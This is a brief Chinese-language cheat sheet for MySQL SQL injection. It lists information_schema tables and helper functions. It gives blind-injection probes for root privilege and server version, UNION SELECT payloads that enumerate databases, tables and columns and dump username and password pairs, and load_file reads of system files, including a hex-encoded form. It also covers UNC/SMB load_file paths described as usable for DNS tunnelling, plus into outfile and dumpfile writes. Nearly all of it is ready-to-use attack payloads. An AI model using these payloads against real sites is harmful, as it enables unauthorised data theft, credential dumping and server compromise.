information_schema.schemata -[存储mysql下所有**数据库**名信息的表]
information_schema.tables -[存储所有数据库下的**表名**信息的表]
information_schema.columns -[存储所有数据库下的**列名**信息的表]
schema_name -[information_schema.schemata中存储的库名]
table_name -表名
column_name -列名
table_schema -数据库名

database() -数据库名
user() -数据库用户
version() -数据库版本
@@version_compile_os -操作系统
group_concat() -多条数据合并一行
--+ 或 # -注释符
and ord(mid(user(),1,1))=114 -判断是否ROOT权限 返回正确即存在
and (select count(*) from mysql.user)>0 -返回正常,说明具有读写权限，反之数据库帐户被降权
and ord(mid(version(),1,1))>51 -确认数据库版本， 51是ASCII码3 正确则>4.0 错误则<4.0，3.0以上版本，可以用union方法
ord() -获取二进制码
mid() -截位操作
limit a,b (limit a offset b) -限制查询结果的条数，具体区别百度~
...

union select group_concat(schema_name) from information_schema.schemata

union select group_concat(table_name) from information_schema.tables where table_schema='库名'

union select group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='库名'

union select group_concat(username,"::",password) from 库名.表名

select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//127.0.1/1.txt') # smb协议
select load_file('\\\\127.0.0.1\\1.txt') # 可用于DNS隧道

select 0x... into outfile 'D:/1.txt'
select 0x... into dumpfile 'D:/1.txt'